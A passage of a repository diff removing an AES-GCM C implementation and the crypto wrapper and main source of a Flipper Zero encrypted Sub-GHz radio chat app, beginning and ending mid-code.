memset(work_buf, 0x00, 16);
PUT_UINT32_BE((orig_add_len >> 32), work_buf, 0);
PUT_UINT32_BE((orig_add_len), work_buf, 4);
PUT_UINT32_BE((orig_len >> 32), work_buf, 8);
PUT_UINT32_BE((orig_len), work_buf, 12);
for(i = 0; i < 16; i++) ctx->buf[i] ^= work_buf[i];
gcm_mult(ctx, ctx->buf, ctx->buf);
for(i = 0; i < tag_len; i++) tag[i] ^= ctx->buf[i];
}
return (0);
}
/******************************************************************************
*
* GCM_CRYPT_AND_TAG
*
* This either encrypts or decrypts the user-provided data and, either
* way, generates an authentication tag of the requested length. It must be
* called with a GCM context whose key has already been set with GCM_SETKEY.
*
* The user would typically call this explicitly to ENCRYPT a buffer of data
* and optional associated data, and produce its an authentication tag.
*
* To reverse the process the user would typically call the companion
* GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
* authentication tag. The GCM_AUTH_DECRYPT function calls this function
* to perform its decryption and tag generation, which it then compares.
*
******************************************************************************/
int gcm_crypt_and_tag(
gcm_context* ctx, // gcm context with key already setup
int mode, // cipher direction: GCM_ENCRYPT or GCM_DECRYPT
const uchar* iv, // pointer to the 12-byte initialization vector
size_t iv_len, // byte length if the IV. should always be 12
const uchar* add, // pointer to the non-ciphered additional data
size_t add_len, // byte length of the additional AEAD data
const uchar* input, // pointer to the cipher data source
uchar* output, // pointer to the cipher data destination
size_t length, // byte length of the cipher data
uchar* tag, // pointer to the tag to be generated
size_t tag_len) // byte length of the tag to be generated
{ /*
assuming that the caller has already invoked gcm_setkey to
prepare the gcm context with the keying material, we simply
invoke each of the three GCM sub-functions in turn...
*/
gcm_start(ctx, mode, iv, iv_len, add, add_len);
gcm_update(ctx, length, input, output);
gcm_finish(ctx, tag, tag_len);
return (0);
}
/******************************************************************************
*
* GCM_AUTH_DECRYPT
*
* This DECRYPTS a user-provided data buffer with optional associated data.
* It then verifies a user-supplied authentication tag against the tag just
* re-created during decryption to verify that the data has not been altered.
*
* This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
* and authentication tag generation.
*
******************************************************************************/
int gcm_auth_decrypt(
gcm_context* ctx, // gcm context with key already setup
const uchar* iv, // pointer to the 12-byte initialization vector
size_t iv_len, // byte length if the IV. should always be 12
const uchar* add, // pointer to the non-ciphered additional data
size_t add_len, // byte length of the additional AEAD data
const uchar* input, // pointer to the cipher data source
uchar* output, // pointer to the cipher data destination
size_t length, // byte length of the cipher data
const uchar* tag, // pointer to the tag to be authenticated
size_t tag_len) // byte length of the tag <= 16
{
uchar check_tag[16]; // the tag generated and returned by decryption
int diff; // an ORed flag to detect authentication errors
size_t i; // our local iterator
/*
we use GCM_DECRYPT_AND_TAG (above) to perform our decryption
(which is an identical XORing to reverse the previous one)
and also to re-generate the matching authentication tag
*/
gcm_crypt_and_tag(
ctx, DECRYPT, iv, iv_len, add, add_len, input, output, length, check_tag, tag_len);
// now we verify the authentication tag in 'constant time'
for(diff = 0, i = 0; i < tag_len; i++) diff |= tag[i] ^ check_tag[i];
if(diff != 0) { // see whether any bits differed?
memset(output, 0, length); // if so... wipe the output data
return (GCM_AUTH_FAILURE); // return GCM_AUTH_FAILURE
}
return (0);
}
/******************************************************************************
*
* GCM_ZERO_CTX
*
* The GCM context contains both the GCM context and the AES context.
* This includes keying and key-related material which is security-
* sensitive, so it MUST be zeroed after use. This function does that.
*
******************************************************************************/
void gcm_zero_ctx(gcm_context* ctx) {
// zero the context originally provided to us
memset(ctx, 0, sizeof(gcm_context));
}

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@@ -1,181 +0,0 @@
/******************************************************************************
*
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
*
* This is a simple and straightforward implementation of AES-GCM authenticated
* encryption. The focus of this work was correctness & accuracy. It is written
* in straight 'C' without any particular focus upon optimization or speed. It
* should be endian (memory byte order) neutral since the few places that care
* are handled explicitly.
*
* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
*
* It is intended for general purpose use, but was written in support of GRC's
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
*
* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ \
* gcm/gcm-revised-spec.pdf
*
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
*
*******************************************************************************/
#ifndef GCM_HEADER
#define GCM_HEADER
#define GCM_AUTH_FAILURE 0x55555555 // authentication failure
#include "aes.h" // gcm_context includes aes_context
#if defined(_MSC_VER)
#include <basetsd.h>
typedef unsigned int size_t; // use the right type for length declarations
typedef UINT32 uint32_t;
typedef UINT64 uint64_t;
#else
#include <stdint.h>
#endif
/******************************************************************************
* GCM_CONTEXT : GCM context / holds keytables, instance data, and AES ctx
******************************************************************************/
typedef struct {
int mode; // cipher direction: encrypt/decrypt
uint64_t len; // cipher data length processed so far
uint64_t add_len; // total add data length
uint64_t HL[16]; // precalculated lo-half HTable
uint64_t HH[16]; // precalculated hi-half HTable
uchar base_ectr[16]; // first counter-mode cipher output for tag
uchar y[16]; // the current cipher-input IV|Counter value
uchar buf[16]; // buf working value
aes_context aes_ctx; // cipher context used
} gcm_context;
/******************************************************************************
* GCM_CONTEXT : MUST be called once before ANY use of this library
******************************************************************************/
int gcm_initialize(void);
/******************************************************************************
* GCM_SETKEY : sets the GCM (and AES) keying material for use
******************************************************************************/
int gcm_setkey(
gcm_context* ctx, // caller-provided context ptr
const uchar* key, // pointer to cipher key
const uint keysize // size in bytes (must be 16, 24, 32 for
// 128, 192 or 256-bit keys respectively)
); // returns 0 for success
/******************************************************************************
*
* GCM_CRYPT_AND_TAG
*
* This either encrypts or decrypts the user-provided data and, either
* way, generates an authentication tag of the requested length. It must be
* called with a GCM context whose key has already been set with GCM_SETKEY.
*
* The user would typically call this explicitly to ENCRYPT a buffer of data
* and optional associated data, and produce its an authentication tag.
*
* To reverse the process the user would typically call the companion
* GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
* authentication tag. The GCM_AUTH_DECRYPT function calls this function
* to perform its decryption and tag generation, which it then compares.
*
******************************************************************************/
int gcm_crypt_and_tag(
gcm_context* ctx, // gcm context with key already setup
int mode, // cipher direction: ENCRYPT (1) or DECRYPT (0)
const uchar* iv, // pointer to the 12-byte initialization vector
size_t iv_len, // byte length if the IV. should always be 12
const uchar* add, // pointer to the non-ciphered additional data
size_t add_len, // byte length of the additional AEAD data
const uchar* input, // pointer to the cipher data source
uchar* output, // pointer to the cipher data destination
size_t length, // byte length of the cipher data
uchar* tag, // pointer to the tag to be generated
size_t tag_len); // byte length of the tag to be generated
/******************************************************************************
*
* GCM_AUTH_DECRYPT
*
* This DECRYPTS a user-provided data buffer with optional associated data.
* It then verifies a user-supplied authentication tag against the tag just
* re-created during decryption to verify that the data has not been altered.
*
* This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
* and authentication tag generation.
*
******************************************************************************/
int gcm_auth_decrypt(
gcm_context* ctx, // gcm context with key already setup
const uchar* iv, // pointer to the 12-byte initialization vector
size_t iv_len, // byte length if the IV. should always be 12
const uchar* add, // pointer to the non-ciphered additional data
size_t add_len, // byte length of the additional AEAD data
const uchar* input, // pointer to the cipher data source
uchar* output, // pointer to the cipher data destination
size_t length, // byte length of the cipher data
const uchar* tag, // pointer to the tag to be authenticated
size_t tag_len); // byte length of the tag <= 16
/******************************************************************************
*
* GCM_START
*
* Given a user-provided GCM context, this initializes it, sets the encryption
* mode, and preprocesses the initialization vector and additional AEAD data.
*
******************************************************************************/
int gcm_start(
gcm_context* ctx, // pointer to user-provided GCM context
int mode, // ENCRYPT (1) or DECRYPT (0)
const uchar* iv, // pointer to initialization vector
size_t iv_len, // IV length in bytes (should == 12)
const uchar* add, // pointer to additional AEAD data (NULL if none)
size_t add_len); // length of additional AEAD data (bytes)
/******************************************************************************
*
* GCM_UPDATE
*
* This is called once or more to process bulk plaintext or ciphertext data.
* We give this some number of bytes of input and it returns the same number
* of output bytes. If called multiple times (which is fine) all but the final
* invocation MUST be called with length mod 16 == 0. (Only the final call can
* have a partial block length of < 128 bits.)
*
******************************************************************************/
int gcm_update(
gcm_context* ctx, // pointer to user-provided GCM context
size_t length, // length, in bytes, of data to process
const uchar* input, // pointer to source data
uchar* output); // pointer to destination data
/******************************************************************************
*
* GCM_FINISH
*
* This is called once after all calls to GCM_UPDATE to finalize the GCM.
* It performs the final GHASH to produce the resulting authentication TAG.
*
******************************************************************************/
int gcm_finish(
gcm_context* ctx, // pointer to user-provided GCM context
uchar* tag, // ptr to tag buffer - NULL if tag_len = 0
size_t tag_len); // length, in bytes, of the tag-receiving buf
/******************************************************************************
*
* GCM_ZERO_CTX
*
* The GCM context contains both the GCM context and the AES context.
* This includes keying and key-related material which is security-
* sensitive, so it MUST be zeroed after use. This function does that.
*
******************************************************************************/
void gcm_zero_ctx(gcm_context* ctx);
#endif /* GCM_HEADER */

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@@ -1,237 +0,0 @@
#include <furi_hal.h>
#include <lib/mlib/m-dict.h>
#include <toolbox/sha256.h>
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
#include "crypto/gcm.h"
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
#include "crypto_wrapper.h"
DICT_DEF2(ESubGhzChatReplayDict, uint64_t, uint32_t)
struct ESugGhzChatCryptoCtx {
uint8_t key[KEY_BITS / 8];
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
gcm_context gcm_ctx;
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
ESubGhzChatReplayDict_t replay_dict;
uint64_t run_id;
uint32_t counter;
};
struct ESubGhzChatCryptoMsg {
uint64_t run_id;
uint32_t counter;
uint8_t iv[IV_BYTES];
uint8_t tag[TAG_BYTES];
uint8_t data[0];
} __attribute__((packed));
void crypto_init(void) {
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
/* init the GCM and AES tables */
gcm_initialize();
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
}
void crypto_explicit_bzero(void* s, size_t len) {
memset(s, 0, len);
asm volatile("" ::: "memory");
}
ESubGhzChatCryptoCtx* crypto_ctx_alloc(void) {
ESubGhzChatCryptoCtx* ret = malloc(sizeof(ESubGhzChatCryptoCtx));
if(ret != NULL) {
memset(ret, 0, sizeof(ESubGhzChatCryptoCtx));
ESubGhzChatReplayDict_init(ret->replay_dict);
ret->run_id = 0;
ret->counter = 1;
}
return ret;
}
void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx) {
crypto_ctx_clear(ctx);
ESubGhzChatReplayDict_clear(ctx->replay_dict);
free(ctx);
}
void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx) {
crypto_explicit_bzero(ctx->key, sizeof(ctx->key));
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
crypto_explicit_bzero(&(ctx->gcm_ctx), sizeof(ctx->gcm_ctx));
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
ESubGhzChatReplayDict_reset(ctx->replay_dict);
ctx->run_id = 0;
ctx->counter = 1;
}
static uint64_t crypto_calc_run_id(FuriString* flipper_name, uint32_t tick) {
const char* fn = furi_string_get_cstr(flipper_name);
size_t fn_len = strlen(fn);
uint8_t h_in[fn_len + sizeof(uint32_t)];
memcpy(h_in, fn, fn_len);
memcpy(h_in + fn_len, &tick, sizeof(uint32_t));
uint8_t h_out[256];
sha256(h_in, fn_len + sizeof(uint32_t), h_out);
uint64_t run_id;
memcpy(&run_id, h_out, sizeof(uint64_t));
return run_id;
}
bool crypto_ctx_set_key(
ESubGhzChatCryptoCtx* ctx,
const uint8_t* key,
FuriString* flipper_name,
uint32_t tick) {
ctx->run_id = crypto_calc_run_id(flipper_name, tick);
ctx->counter = 1;
memcpy(ctx->key, key, KEY_BITS / 8);
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
return true;
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
return (gcm_setkey(&(ctx->gcm_ctx), key, KEY_BITS / 8) == 0);
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
}
void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key) {
memcpy(key, ctx->key, KEY_BITS / 8);
}
bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
if(in_len < MSG_OVERHEAD + 1) {
return false;
}
struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)in;
// check if message is stale, if yes, discard
uint32_t* counter = ESubGhzChatReplayDict_get(ctx->replay_dict, msg->run_id);
if(counter != NULL) {
if(*counter >= __ntohl(msg->counter)) {
return false;
}
}
// decrypt and auth message
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
bool ret =
(furi_hal_crypto_gcm_decrypt_and_verify(
ctx->key,
msg->iv,
(uint8_t*)msg,
RUN_ID_BYTES + COUNTER_BYTES,
msg->data,
out,
in_len - MSG_OVERHEAD,
msg->tag) == FuriHalCryptoGCMStateOk);
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
bool ret =
(gcm_auth_decrypt(
&(ctx->gcm_ctx),
msg->iv,
IV_BYTES,
(uint8_t*)msg,
RUN_ID_BYTES + COUNTER_BYTES,
msg->data,
out,
in_len - MSG_OVERHEAD,
msg->tag,
TAG_BYTES) == 0);
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
// if auth was successful update replay dict
if(ret) {
ESubGhzChatReplayDict_set_at(ctx->replay_dict, msg->run_id, __ntohl(msg->counter));
}
return ret;
}
bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)out;
// fill message header
msg->run_id = ctx->run_id;
msg->counter = __htonl(ctx->counter);
furi_hal_random_fill_buf(msg->iv, IV_BYTES);
// encrypt message and store tag in header
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
bool ret =
(furi_hal_crypto_gcm_encrypt_and_tag(
ctx->key,
msg->iv,
(uint8_t*)msg,
RUN_ID_BYTES + COUNTER_BYTES,
in,
msg->data,
in_len,
msg->tag) == FuriHalCryptoGCMStateOk);
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
bool ret =
(gcm_crypt_and_tag(
&(ctx->gcm_ctx),
ENCRYPT,
msg->iv,
IV_BYTES,
(uint8_t*)msg,
RUN_ID_BYTES + COUNTER_BYTES,
in,
msg->data,
in_len,
msg->tag,
TAG_BYTES) == 0);
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
// update replay dict and increase internal counter
if(ret) {
ESubGhzChatReplayDict_set_at(ctx->replay_dict, ctx->run_id, ctx->counter);
ctx->counter++;
}
return ret;
}
size_t crypto_ctx_dump_replay_dict(
ESubGhzChatCryptoCtx* ctx,
CryptoCtxReplayDictWriter writer,
void* writer_ctx) {
size_t ret = 0;
ESubGhzChatReplayDict_it_t i;
for(ESubGhzChatReplayDict_it(i, ctx->replay_dict); !ESubGhzChatReplayDict_end_p(i);
ESubGhzChatReplayDict_next(i), ret++) {
ESubGhzChatReplayDict_itref_t* ref = ESubGhzChatReplayDict_ref(i);
if(!writer(ref->key, ref->value, writer_ctx)) {
break;
}
}
return ret;
}
size_t crypto_ctx_read_replay_dict(
ESubGhzChatCryptoCtx* ctx,
CryptoCtxReplayDictReader reader,
void* reader_ctx) {
size_t ret = 0;
uint64_t run_id;
uint32_t counter;
while(reader(&run_id, &counter, reader_ctx)) {
ESubGhzChatReplayDict_set_at(ctx->replay_dict, run_id, counter);
ret++;
}
return ret;
}

View File

@@ -1,51 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
#define RUN_ID_BYTES (sizeof(uint64_t))
#define COUNTER_BYTES (sizeof(uint32_t))
#define KEY_BITS 256
#define IV_BYTES 12
#define TAG_BYTES 16
#define MSG_OVERHEAD (RUN_ID_BYTES + COUNTER_BYTES + IV_BYTES + TAG_BYTES)
typedef struct ESugGhzChatCryptoCtx ESubGhzChatCryptoCtx;
void crypto_init(void);
/* Function to clear sensitive memory. */
void crypto_explicit_bzero(void* s, size_t len);
ESubGhzChatCryptoCtx* crypto_ctx_alloc(void);
void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx);
void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx);
bool crypto_ctx_set_key(
ESubGhzChatCryptoCtx* ctx,
const uint8_t* key,
FuriString* flipper_name,
uint32_t tick);
void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key);
bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
typedef bool (*CryptoCtxReplayDictWriter)(uint64_t run_id, uint32_t counter, void* context);
typedef bool (*CryptoCtxReplayDictReader)(uint64_t* run_id, uint32_t* counter, void* context);
size_t crypto_ctx_dump_replay_dict(
ESubGhzChatCryptoCtx* ctx,
CryptoCtxReplayDictWriter writer,
void* writer_ctx);
size_t crypto_ctx_read_replay_dict(
ESubGhzChatCryptoCtx* ctx,
CryptoCtxReplayDictReader reader,
void* reader_ctx);
#ifdef __cplusplus
}
#endif

View File

@@ -1,703 +0,0 @@
#include <furi_hal.h>
#include <gui/elements.h>
#include <gui/gui.h>
#include "helpers/radio_device_loader.h"
#include "esubghz_chat_i.h"
#define CHAT_LEAVE_DELAY 10
#define TICK_INTERVAL 50
#define MESSAGE_COMPLETION_TIMEOUT 500
#define KBD_UNLOCK_CNT 3
#define KBD_UNLOCK_TIMEOUT 1000
/* Callback for RX events from the Sub-GHz worker. Records the current ticks as
* the time of the last reception. */
static void have_read_cb(void* context) {
furi_assert(context);
ESubGhzChatState* state = context;
state->last_time_rx_data = furi_get_tick();
}
/* Sets the header for the chat input field depending on whether or not a
* message preview exists. */
void set_chat_input_header(ESubGhzChatState* state) {
if(strlen(state->msg_preview) == 0) {
text_input_set_header_text(state->text_input, "Message");
} else {
text_input_set_header_text(state->text_input, state->msg_preview);
}
}
/* Appends the latest message to the chat box and prepares the message preview.
*/
void append_msg(ESubGhzChatState* state, const char* msg) {
/* append message to text box */
furi_string_cat_printf(state->chat_box_store, "\n%s", msg);
/* prepare message preview */
strncpy(state->msg_preview, msg, MSG_PREVIEW_SIZE);
state->msg_preview[MSG_PREVIEW_SIZE] = 0;
set_chat_input_header(state);
/* reset text box contents and focus */
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
}
/* Decrypts a message for post_rx(). */
static bool post_rx_decrypt(ESubGhzChatState* state, size_t rx_size) {
bool ret = crypto_ctx_decrypt(
state->crypto_ctx, state->rx_buffer, rx_size, (uint8_t*)state->rx_str_buffer);
if(ret) {
state->rx_str_buffer[rx_size - (MSG_OVERHEAD)] = 0;
} else {
state->rx_str_buffer[0] = 0;
}
return ret;
}
/* Post RX handler, decrypts received messages and calls append_msg(). */
static void post_rx(ESubGhzChatState* state, size_t rx_size) {
furi_assert(state);
if(rx_size == 0) {
return;
}
furi_check(rx_size <= RX_TX_BUFFER_SIZE);
/* decrypt if necessary */
if(!state->encrypted) {
memcpy(state->rx_str_buffer, state->rx_buffer, rx_size);
state->rx_str_buffer[rx_size] = 0;
/* remove trailing newline if it is there, for compat with CLI
* Sub-GHz chat */
if(state->rx_str_buffer[rx_size - 1] == '\n') {
state->rx_str_buffer[rx_size - 1] = 0;
}
} else {
/* if decryption fails output an error message */
if(!post_rx_decrypt(state, rx_size)) {
strcpy(state->rx_str_buffer, "ERR: Decryption failed!");
}
}
/* append message to text box and prepare message preview */
append_msg(state, state->rx_str_buffer);
/* send notification (make the flipper vibrate) */
notification_message(state->notification, &sequence_single_vibro);
}
/* Reads the message from msg_input, encrypts it if necessary and then
* transmits it. */
void tx_msg_input(ESubGhzChatState* state) {
/* encrypt message if necessary */
size_t msg_len = strlen(furi_string_get_cstr(state->msg_input));
size_t tx_size = msg_len;
if(state->encrypted) {
tx_size += MSG_OVERHEAD;
furi_check(tx_size <= sizeof(state->tx_buffer));
crypto_ctx_encrypt(
state->crypto_ctx,
(uint8_t*)furi_string_get_cstr(state->msg_input),
msg_len,
state->tx_buffer);
} else {
tx_size += 2;
furi_check(tx_size <= sizeof(state->tx_buffer));
memcpy(state->tx_buffer, furi_string_get_cstr(state->msg_input), msg_len);
/* append \r\n for compat with Sub-GHz CLI chat */
state->tx_buffer[msg_len] = '\r';
state->tx_buffer[msg_len + 1] = '\n';
}
/* transmit */
subghz_tx_rx_worker_write(state->subghz_worker, state->tx_buffer, tx_size);
}
/* Displays information on frequency, encryption and radio type in the text
* box. Also clears the text input buffer to remove the password and starts the
* Sub-GHz worker. After starting the worker a join message is transmitted. */
void enter_chat(ESubGhzChatState* state) {
furi_string_cat_printf(state->chat_box_store, "Frequency: %lu", state->frequency);
furi_string_cat_printf(
state->chat_box_store, "\nEncrypted: %s", (state->encrypted ? "yes" : "no"));
subghz_tx_rx_worker_start(state->subghz_worker, state->subghz_device, state->frequency);
if(strcmp(state->subghz_device->name, "cc1101_ext") == 0) {
furi_string_cat_printf(state->chat_box_store, "\nRadio: External");
} else {
furi_string_cat_printf(state->chat_box_store, "\nRadio: Internal");
}
/* concatenate the name prefix and join message */
furi_string_set(state->msg_input, state->name_prefix);
furi_string_cat_str(state->msg_input, " joined chat.");
/* encrypt and transmit message */
tx_msg_input(state);
/* clear message input buffer */
furi_string_set_char(state->msg_input, 0, 0);
}
/* Sends a leave message */
void exit_chat(ESubGhzChatState* state) {
/* concatenate the name prefix and leave message */
furi_string_set(state->msg_input, state->name_prefix);
furi_string_cat_str(state->msg_input, " left chat.");
/* encrypt and transmit message */
tx_msg_input(state);
/* clear message input buffer */
furi_string_set_char(state->msg_input, 0, 0);
/* wait for leave message to be delivered */
furi_delay_ms(CHAT_LEAVE_DELAY);
}
/* Whether or not to display the locked message. */
static bool kbd_lock_msg_display(ESubGhzChatState* state) {
return (state->kbd_lock_msg_ticks != 0);
}
/* Whether or not to hide the locked message again. */
static bool kbd_lock_msg_reset_timeout(ESubGhzChatState* state) {
if(state->kbd_lock_msg_ticks == 0) {
return false;
}
if(furi_get_tick() - state->kbd_lock_msg_ticks > KBD_UNLOCK_TIMEOUT) {
return true;
}
return false;
}
/* Resets the timeout for the locked message and turns off the backlight if
* specified. */
static void kbd_lock_msg_reset(ESubGhzChatState* state, bool backlight_off) {
state->kbd_lock_msg_ticks = 0;
state->kbd_lock_count = 0;
if(backlight_off) {
notification_message(state->notification, &sequence_display_backlight_off);
}
}
/* Locks the keyboard. */
static void kbd_lock(ESubGhzChatState* state) {
state->kbd_locked = true;
kbd_lock_msg_reset(state, true);
}
/* Unlocks the keyboard. */
static void kbd_unlock(ESubGhzChatState* state) {
state->kbd_locked = false;
kbd_lock_msg_reset(state, false);
}
/* Custom event callback for view dispatcher. Just calls scene manager. */
static bool esubghz_chat_custom_event_callback(void* context, uint32_t event) {
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_custom_event_callback");
furi_assert(context);
ESubGhzChatState* state = context;
return scene_manager_handle_custom_event(state->scene_manager, event);
}
/* Navigation event callback for view dispatcher. Just calls scene manager. */
static bool esubghz_chat_navigation_event_callback(void* context) {
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_navigation_event_callback");
furi_assert(context);
ESubGhzChatState* state = context;
return scene_manager_handle_back_event(state->scene_manager);
}
/* Tick event callback for view dispatcher. Called every TICK_INTERVAL. Resets
* the locked message if necessary. Retrieves a received message from the
* Sub-GHz worker and calls post_rx(). Then calls the scene manager. */
static void esubghz_chat_tick_event_callback(void* context) {
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_tick_event_callback");
furi_assert(context);
ESubGhzChatState* state = context;
/* reset locked message if necessary */
if(kbd_lock_msg_reset_timeout(state)) {
kbd_lock_msg_reset(state, true);
}
/* if the maximum message size was reached or the
* MESSAGE_COMPLETION_TIMEOUT has expired, retrieve a message and call
* post_rx() */
size_t avail = 0;
while((avail = subghz_tx_rx_worker_available(state->subghz_worker)) > 0) {
volatile uint32_t since_last_rx = furi_get_tick() - state->last_time_rx_data;
if(avail < RX_TX_BUFFER_SIZE && since_last_rx < MESSAGE_COMPLETION_TIMEOUT) {
break;
}
size_t rx_size =
subghz_tx_rx_worker_read(state->subghz_worker, state->rx_buffer, RX_TX_BUFFER_SIZE);
post_rx(state, rx_size);
}
/* call scene manager */
scene_manager_handle_tick_event(state->scene_manager);
}
/* Hooks into the view port's draw callback to overlay the keyboard locked
* message. */
static void esubghz_hooked_draw_callback(Canvas* canvas, void* context) {
FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_draw_callback");
furi_assert(canvas);
furi_assert(context);
ESubGhzChatState* state = context;
/* call original callback */
state->orig_draw_cb(canvas, state->view_dispatcher);
/* display if the keyboard is locked */
if(state->kbd_locked) {
canvas_set_font(canvas, FontPrimary);
elements_multiline_text_framed(canvas, 42, 30, "Locked");
}
/* display the unlock message if necessary */
if(kbd_lock_msg_display(state)) {
canvas_set_font(canvas, FontSecondary);
elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
}
}
/* Hooks into the view port's input callback to handle the user locking the
* keyboard. */
static void esubghz_hooked_input_callback(InputEvent* event, void* context) {
FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_input_callback");
furi_assert(event);
furi_assert(context);
ESubGhzChatState* state = context;
/* if the keyboard is locked no key presses are forwarded */
if(state->kbd_locked) {
/* key has been pressed, display the unlock message and
* initiate the timer */
if(state->kbd_lock_count == 0) {
state->kbd_lock_msg_ticks = furi_get_tick();
}
/* back button has been pressed, increase the lock counter */
if(event->key == InputKeyBack && event->type == InputTypeShort) {
state->kbd_lock_count++;
}
/* unlock the keyboard */
if(state->kbd_lock_count >= KBD_UNLOCK_CNT) {
kbd_unlock(state);
}
/* do not handle the event */
return;
}
if(event->key == InputKeyOk) {
/* if we are in the chat view and no input is ongoing, allow
* locking */
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
!(state->kbd_ok_input_ongoing)) {
/* lock keyboard upon long press of Ok button */
if(event->type == InputTypeLong) {
kbd_lock(state);
}
/* do not handle any Ok key events to prevent blocking
* of other keys */
return;
}
/* handle ongoing inputs when changing to chat view */
if(event->type == InputTypePress) {
state->kbd_ok_input_ongoing = true;
} else if(event->type == InputTypeRelease) {
state->kbd_ok_input_ongoing = false;
}
}
if(event->key == InputKeyLeft) {
/* if we are in the chat view and no input is ongoing, allow
* switching to msg input */
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
!(state->kbd_left_input_ongoing)) {
/* go to msg input upon short press of Left button */
if(event->type == InputTypeShort) {
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_GotoMsgInput);
}
/* do not handle any Left key events to prevent
* blocking of other keys */
return;
}
/* handle ongoing inputs when changing to chat view */
if(event->type == InputTypePress) {
state->kbd_left_input_ongoing = true;
} else if(event->type == InputTypeRelease) {
state->kbd_left_input_ongoing = false;
}
}
if(event->key == InputKeyRight) {
/* if we are in the chat view and no input is ongoing, allow
* switching to key display */
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
!(state->kbd_right_input_ongoing)) {
/* go to key display upon short press of Right button
*/
if(event->type == InputTypeShort) {
view_dispatcher_send_custom_event(
state->view_dispatcher, ESubGhzChatEvent_GotoKeyDisplay);
}
/* do not handle any Right key events to prevent
* blocking of other keys */
return;
}
/* handle ongoing inputs when changing to chat view */
if(event->type == InputTypePress) {
state->kbd_right_input_ongoing = true;
} else if(event->type == InputTypeRelease) {
state->kbd_right_input_ongoing = false;
}
}
/* call original callback */
state->orig_input_cb(event, state->view_dispatcher);
}
static bool helper_strings_alloc(ESubGhzChatState* state) {
furi_assert(state);
state->name_prefix = furi_string_alloc();
if(state->name_prefix == NULL) {
return false;
}
state->msg_input = furi_string_alloc();
if(state->msg_input == NULL) {
furi_string_free(state->name_prefix);
return false;
}
return true;
}
static void helper_strings_free(ESubGhzChatState* state) {
furi_assert(state);
furi_string_free(state->name_prefix);
furi_string_free(state->msg_input);
}
static bool chat_box_alloc(ESubGhzChatState* state) {
furi_assert(state);
state->chat_box = text_box_alloc();
if(state->chat_box == NULL) {
return false;
}
state->chat_box_store = furi_string_alloc();
if(state->chat_box_store == NULL) {
text_box_free(state->chat_box);
return false;
}
furi_string_reserve(state->chat_box_store, CHAT_BOX_STORE_SIZE);
furi_string_set_char(state->chat_box_store, 0, 0);
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
return true;
}
static void chat_box_free(ESubGhzChatState* state) {
furi_assert(state);
text_box_free(state->chat_box);
furi_string_free(state->chat_box_store);
}
int32_t esubghz_chat(void) {
/* init the crypto system */
crypto_init();
int32_t err = -1;
FURI_LOG_I(APPLICATION_NAME, "Starting...");
/* allocate necessary structs and buffers */
